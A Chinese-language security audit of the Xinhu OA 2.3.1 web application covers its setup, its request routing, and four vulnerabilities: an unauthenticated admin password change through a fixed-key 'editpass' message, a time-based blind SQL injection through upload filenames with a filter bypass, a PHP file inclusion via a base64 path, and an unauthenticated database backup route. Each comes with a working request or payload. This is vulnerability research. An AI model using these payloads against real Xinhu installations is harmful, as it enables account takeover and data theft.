信呼OA2.3.1版本代码审计
环境搭建
下载:https://github.com/rainrocka/xinhu/tree/a25c5db365e346c9c03c5ee6269a80d2afb3a25b
搭建起来,改一下config的设置就好
1、进入目录webmian下,将webmainConfig.php1 改成 webmainConfig.php,配置一下里面信息,如数据库,地址等。
2、在webmainConfig.php的参数randkey的填写:agpjwelxhcviusmzqdtbknoyrf,这个一定要写,每次刷新都会变的。
3、导入数据库,数据库文件在webmain/install/rockxinhu.sql。导入到配置的数据库名称中如:rockxinhu,没有就要建立个数据库。
4、删除文件:webmain/webmainConfig.php1,删除目录:webmain/install。
5、这样就基本完成了,用浏览器打开地址如:http://127.0.0.1/,登录初始帐号:admin,密码:123456。
修改初始密码为xinhu666
路由分析
要审计一个web项目,要做的第一件事就是搞懂这个项目的路由,或者说控制器的访问规则
从Index.php开始看,它包含了config.php:include_once('config/config.php');
而这个config.php也包含了一些文件,后面会用到
include_once(''.ROOT_PATH.'/include/rockFun.php');
include_once(''.ROOT_PATH.'/include/Chajian.php');
include_once(''.ROOT_PATH.'/include/class/rockClass.php');
它首先实例化了一个对象$rock = new rockClass();
跟进去看一下
public function __construct()
{
$this->ip = $this->getclientip();
$this->host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '' ;
$this->url = '';
$this->isqywx = false;
$this->win = php_uname();
$this->HTTPweb = isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT'] : '' ;
$this->web = $this->getbrowser();
$this->unarr = explode(',','1,2');
$this->now = $this->now();
$this->date = date('Y-m-d');
$this->lvlaras = explode(',','select ,
alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
$this->lvlaraa = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');
$this->lvlarab = array();
foreach($this->lvlaraa as $_i)$this->lvlarab[]='';
}
这里就是获取客户端传过来的一些变量,这里它获取ip的方式就是http头,是可以伪造的,他用htmlspecialchars进行xss过滤,但是没设置参数,默认是只转换双引号的,这里存在XSS风险
public function getclientip()
{
$ip = '';
if(isset($_SERVER['HTTP_CLIENT_IP'])){
$ip = $_SERVER['HTTP_CLIENT_IP'];
}else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else if(isset($_SERVER['REMOTE_ADDR'])){
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip= htmlspecialchars($this->xssrepstr($ip));
if($ip){$ipar = explode('.', $ip);foreach($ipar as $ip1)if(!is_numeric($ip1))$ip='';}
if(!$ip)$ip = 'unknow';
return $ip;
}
看一下这个方法:$rock->get
$rock->get('p', 'webmain')
public function get($name,$dev='', $lx=0)
{
$val=$dev;
if(isset($_GET[$name]))$val=$_GET[$name];
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}
public function isempt($str)
{
$bool=false;
if( ($str==''||$str==NULL||empty($str)) && (!is_numeric($str)) )$bool=true;
return $bool;
}
public function jmuncode($s, $lx=0, $na)
{
$jmbo = false;
if($lx==3)$jmbo = $this->isjm($s);
if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
$s = str_replace('rockjm_', '', $s);
$s = $this->jm->uncrypt($s);
if($lx==1){
$jmbo = $this->isjm($s);
if($jmbo)$s = $this->jm->uncrypt($s);
}
}
if(substr($s, 0, 7)=='basejm_' || $lx==5){
$s = str_replace('basejm_', '', $s);
$s = $this->jm->base64decode($s);
}
$s=str_replace("'", ''', $s);
$s=str_replace('%20', '', $s);
if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
$str = strtolower($s);
foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
$s = $this->lvlarrep($str, $v1);
$str = $s;
}
$cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');
if(in_array($na, $cslv))$s = $this->xssrepstr($s);
return $this->reteistrs($s);
}
将get传来的参数赋值给val,如果这个参数的值不合规(为空),就让val等于传入的dev,之后调用jmuncode对这个val进行处理,一方面是匹配前缀进行处理,一方面是进行过滤
至于这里的jm对象是啥时候被初始化的,实际上是这里
但是这里有点奇怪,他在末尾调用的这个初始化,但是上面就用到了jm对象,这个对象是空,所以这里会出一个报错
接着看代码,config.php
接下来加载了配置文件
$_confpath = $rock->strformat('?0/?1/?1Config.php', *ROOT_PATH*, *PROJECT*);
这个写法用的还挺多的,上面看的if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));
定义了这个PROJECT,webmain相当于我们没传p参数以后敲定的默认值了,这应该也是这个开发团队忽略了这个报错的原因。
再接着看这里config.php写的限制IP的方法
$_confpath = ''.*ROOT_PATH*.'/config/iplogs.php'; //这个用来限制IP访问的
if(file_exists($_confpath) && *PHP_SAPI* != 'cli')include_once($_confpath);
这个文件包含以后自动调用这个函数ipwhiteshows($rock->ip, $rock);
而这里rock的ip是不准的
再粗略看一下,这里封ip用的是exit exit('您IP['.$ip.']禁止访问我们站点,有问题请联系我们');
到这里我们走出了config.php,继续回到index.php
判断是否传了rewriteurl,传了的话就把d m a分别重置为rewriteurl里下划线_
分开的三段
if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}
这里控制路由的几个参数就确定了,接下来在view.php里确定路由是怎么走的
$p = PROJECT;
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);
define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);
PROJECT早就定义好了是webmain,其余的就是我们可以控制的MAD三个变量
include_once($rock->strformat('?0/?1/?1Action.php',*ROOT_PATH*, $p));
这里包含 /webmain/webmainAction.php文件
这一段算是定义好了路由怎么走,怎么动态执行类的方法
再往下则是该CMS自写的模板解析功能
代码审计
任意密码修改
定位这个漏洞起初是seay里定位到一个include/class/mysql.php的record函数
public function record($table,$array,$where='')
{
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
if($addbool){
$sql="insert into `$table` set $cont";
}else{
$where = $this->getwhere($where);
$sql="update `$table` set $cont where $where";
}
return $this->tranbegin($sql);
}
没有做啥过滤,寻找这个函数在哪里调用,搜索->record
找到了webmain\task\api\userAction.php,是一个控制器
漏洞存在于webmain/task/api/reimplatAction.php
indexAction方法中
这个方法是有一个加密的,位于jm->strunlook($body, $key);,这个key默认是空的md5,是固定的,因此可以逆推加密:
// $test = $this->jm->strlook(json_encode(array("msgtype"=>"editpass","user"=>"admin","pass"=>"123456")), $key);
// echo $test;
$body = $this->getpostdata();
if(!$body)return;
$db = m('reimplat:dept');
$key = $db->gethkey();
$bodystr = $this->jm->strunlook($body, $key);
// $test = $this->jm->strlook(json_encode(array("msgtype"=>"editpass","user"=>"admin","pass"=>"123456")), $key);
// echo $test;
if(!$bodystr)return;
$data = json_decode($bodystr, true);
$msgtype = arrvalue($data,'msgtype');
$msgevent= arrvalue($data,'msgevent');
//省略
if($msgtype=='editpass'){
$user = arrvalue($data, 'user');
$pass = arrvalue($data, 'pass');
if($pass && $user){
$where = "`user`='$user'";
$mima = md5($pass);
m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);
}
}
路由应该这么写:?d=task&m=reimplat|api&a=index
成功修改密码
SQL盲注
webmain/public/upload/uploadAction.php
在upfileAjax方法里面,找到执行sql语句处,跟进uploadback方法
这里路由应该这么写:?d=public&m=upload&a=upfile&ajaxbool=true
修改uptype为*,文件名为sql注入语句,可以看到成功延时
盲注语句可以这样写,这里单独的()
会被过滤掉,双写就可以了
1' and if(ascii(substr((select database(())),1,1))>1,SLEEP(3),0)-- -
文件包含
在web根目录创建一个1.php里面写<?php phpinfo();
payload: http://127.0.0.1:999/?m=index&a=getshtml&surl=Li4vMQ==
分析:
include/View.php
的第88行
定位到敏感函数include_once
include_once($mpathname);
看到第72行代码的形式$mpathname = $xhrock->displayfile;
同样为获取某个类的成员属性
if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;
全局搜索displayfile
在webmain/index/indexAction.php
下发现惊喜
可以看到这个文件中的$displayfile
是以.php
为后缀的变量,而变量$displayfile
最后可以决定我们文件包含$mpathname
的取值,也就是说这里可能存在一个.php
的文件包含.
payload
?m=index&a=getshtml&surl=Li4vMQ==
未授权备份
在webmain/task/runt/sysAction.php中 这里用beifenAction调用了他的start方法
找到beifenClassModel,看到里面的start方法 会把数据库数据备份到upload/data目录下,以时间命名
这里staart不需要参数,感觉这种函数需要重点看,很容易有未授权
paylaod
/task.php?m=sys|runt&a=beifen
或者
?d=task&m=sys|runt&a=beifen